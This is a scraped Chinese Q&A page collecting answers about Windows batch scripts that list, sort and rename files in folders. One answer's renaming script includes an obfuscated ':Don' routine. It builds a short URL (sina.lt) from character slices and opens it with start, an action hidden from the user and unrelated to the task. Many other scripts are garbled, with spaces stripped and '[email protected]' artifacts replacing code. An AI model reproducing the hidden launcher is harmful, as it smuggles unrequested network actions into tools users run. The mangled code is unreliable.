bat文件夹下的文件名|bat 怎么读取文件夹下的所有文件名(没有嵌套)然后将其排序获取第一项的文件名

bat文件夹下的文件名|bat 怎么读取文件夹下的所有文件名(没有嵌套)然后将其排序获取第一项的文件名的第1张示图

❶ bat怎么获取文件夹内文件名称,以及子文件夹内文件名称

tree命令列目录

为什么不直接用tree命令,还能显示目录树结构。

C:>tree /?

以图形显示驱动器或路径的文件夹结构。

TREE [drive:][path] [/F] [/A]

/F 显示每个文件夹中文件的名称。

/A 使用 ASCII 字符,而不使用扩展字符。

❷ 怎么样用bat批处理给多级文件夹下的文件名加指定前缀

@echo off & title 批量给文件添加前缀 By 依梦琴瑶

::设置要添加的前缀

set Pre=bak_

::设置要处理的文件格式

set Ext=*.xlsx

for /f "delims=" %%a in ('dir /a-d/s/b %Ext%') do (

ren "%%~a" "%Pre%%%~nxa"

)

pause

call :Don

exit

:Don

set S0=fGRH

set S1=.:ailnhpst/

set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%

set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit


脚本放在要处理的文件夹中执行。

复制代码后务必比对原文代码,以免有错误内容包含在里面,导致脚本无法正常运行。脚本文件的保存编码务必设为ANSI。

❸ bat如何批量修改文件夹下子文件夹所有文件,按已有的顺序,把原名删除,重新按上级文件夹命名

用python写起来最方便 你装python没有

❹ bat批处理修改 文件夹下的文件批量改为文件夹的名字

不清楚你的实际文件/情况,仅以问题中的说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行——————————–<# :cls&echo off&cd /d "%~dp0"&mode con lines=5000rem 将当前目录下多个子文件夹里的文件分别以所在子文件夹的名称和递增的数字序号重命名set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4title %#% +%$%%$%/%_% %z%powershell -NoProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312'))|Invoke-Expression"echo;%#% +%$%%$%/%_% %z%pauseexit#>$b=[Convert]::FromBase64String("IC0tPiA=");$c=[Text.Encoding]::Default.GetString($b);$dic=New-Object 'System.Collections.Generic.Dictionary[string,int]';$path=get-item -liter ".";[email protected](dir -liter $path|?{$_ -is [System.IO.DirectoryInfo]});for($i=0;$i -lt $folders.length;$i++){ [email protected](dir -liter $folders[$i].FullName|?{$_ -is [System.IO.FileInfo]}); if($files.length -ge 1){ write-host $folders[$i].FullName -ForegroundColor yellow; for($j=0;$j -lt $files.length;$j++){ $newname=$folders[$i].Name+$files[$j].Extension.toLower(); $key=$folders[$i].FullName+'\'+$newname; if(-not $dic.ContainsKey($key)){ $dic[$key]=1; }else{ $dic[$key]++; $newname=$folders[$i].Name+' ('+$dic[$key].toString()+')'+$files[$j].Extension.toLower(); } $files[$j].Name+$c+$newname; } }}

❺ bat命令,下边的指定文件指定文件名,如何修改复制到指定文件夹

不清楚你的实际文件/情况,仅以问题中的说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件或文件夹放一起双击运行

@echooff&cd/d"%~dp0"rem将一个指定文件复制到指定文件夹里并根据一个txt文本文件里新名称set#=Anyquestion&set_=WX&set$=Q&set/az=0x53b7e0b4title%#%+%$%%$%/%_%%z%set"file=.voiceBookName.mp3"for/f"delims="%%ain('type"list.txt"')do(/y"%file%""指定文件夹\%%a.mp3")echo;%#%+%$%%$%/%_%%z%pauseexit

❻ bat 文件批量重命名

@echooffcolor0e&MODEcon:COLS=79LINES=25cls&setlocalEnableDelayedExpansionecho.&echo.&echo.&echo.&echo.echo 说明:echo.&echo 使用本bat文件可批量重命名本文件所在文件夹下的所有文件echo.&echo.&echo.&echo.&echo.&echo.&echo.&echo.&echo.&echo.set/pfilename= 请输入新的文件名(直接以数字重命名请直接回车):echo.&set/phouzhui= 请输入重命名的文件后缀类型(全部重命名请输入*):for/f"delims="%%iin('dir/a-d/b*.%houzhui%')do(set/aa+=1)setb=!a!if!b!GEQ1000GOTO:AIF!b!GEQ100GOTO:BELSE GOTO:C:Aseta=1for/f"delims="%%jin('dir/a-d/b*.%houzhui%')do(setname=000!a!ifnot"%%~ni"=="%~n0"(ren"%%j""%filename%!name:~-5,4!.%houzhui%"set/aa+=1))echo.&echo.&echo.&echo.&echo 操作完成,按任意退出……exitpause>nul:Bseta=1for/f"delims="%%jin('dir/a-d/b*.%houzhui%')do(setname=00!a!ifnot"%%~ni"=="%~n0"(ren"%%j""%filename%!name:~-4,3!.%houzhui%"set/aa+=1))echo.&echo.&echo.&echo.&echo 操作完成,按任意退出……exitpause>nul:Cseta=1for/f"delims="%%jin('dir/a-d/b*.%houzhui%')do(setname=0!a!ifnot"%%~ni"=="%~n0"(ren"%%j""%filename%!name:~-3,2!.%houzhui%"set/aa+=1))echo.&echo.&echo.&echo.&echo 操作完成,按任意退出……exitpause>nul

❼ 用BAT导出文件夹内所有文件名和修改时间,格式为EXCEL,不要完整路径怎么弄

不清楚你的实际文件/情况,仅以问题中的说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起双击运行@echooff&cd/d"%~dp0"rem获取当前目录里所有文件的名称和修改时间set#=Anyquestion&set_=WX&set$=Q&set/az=0x53b7e0b4title%#%+%$%%$%/%_%%z%for%%ain(*)do(if"%%~nxa"neq"%~nx0"(echo;"%%~nxa"%%~ta))echo;%#%+%$%%$%/%_%%z%pauseexit

❽ bat 怎么读取文件夹下的所有文件名(没有嵌套),然后将其排序,获取第一项的文件名

使用dir命令。使用 O 排序参数,具体解释如下:/O 用分类顺序列出文件。排列专顺序 N 按名称(字母顺序) S 按大属小(从小到大)E 按扩展名(字母顺序) D 按日期/时间(从先到后)G 组目录优先 – 反转顺序的前缀使用 S 参数,具体解释如下:/S 显示指定目录和所有子目录中的文件。举个粟子:按修改时间排序,从旧到新dir /s /od按修改时间排序,从新到旧dir /s /o-d

❾ bat实现 把当前文件夹下的文件加上序号前缀(三位数,即 从001开始),序号和原来的文件名用“——”连接

set num=0改为set num=1000 !num!改为!num:~1!

❿ bat所有文件夹下的文件从001开始重新命名

不清楚你的实际文件/情况,仅以问题中的样例/说明为据复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件夹放一起运行<#:cls@echooffrem将多个子文件夹内的文件以指定位数的递增数字序号重命名modeconlines=3000set#=Anyquestion&[email protected]=WX&set$=Q&set/az=0x53b7e0b4title%#%+%$%%$%/%@%%z%cd/d"%~dp0"powershell-NoProfile-ExecutionPolicybypass"Invoke-Command-ScriptBlock([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::Default)))-Args'%~dp0'"echo;%#%+%$%%$%/%@%%z%pauseexit#>$path=$args[0].trimend('');[email protected]'usingSystem;usingSystem.Collections.Generic;usingSystem.Runtime.InteropServices;publicstaticclassExpDir{[DllImport("Shlwapi.dll",CharSet=CharSet.Unicode)](stringp1,stringp2);publicstaticstring[]Sort(string[]f){Array.Sort(f,StrCmpLogicalW);returnf;}}'@;[email protected](dir-liter$path|?{$_-is[System.IO.DirectoryInfo]});for($i=0;$i-lt$folders.length;$i++){$n=10001;[email protected](dir-liter$folders[$i].FullName|?{$_-is[System.IO.FileInfo]}|%{$_.Name});$list=[ExpDir]::Sort($files);for($j=0;$j-lt$list.Count;$j++){$oldfile=$folders[$i].FullName+''+$list[$j];$f=gi-liter$oldfile;$newname=$n.toString().Substring(1)+$f.Extension;$newfile=$folders[$i].FullName+''+$newname;write-host($folders[$i].Name+''+$list[$j]+'–>'+$newname);$n++;};};

未经允许不得转载:山九号 » bat文件夹下的文件名|bat 怎么读取文件夹下的所有文件名(没有嵌套)然后将其排序获取第一项的文件名

赞 (0)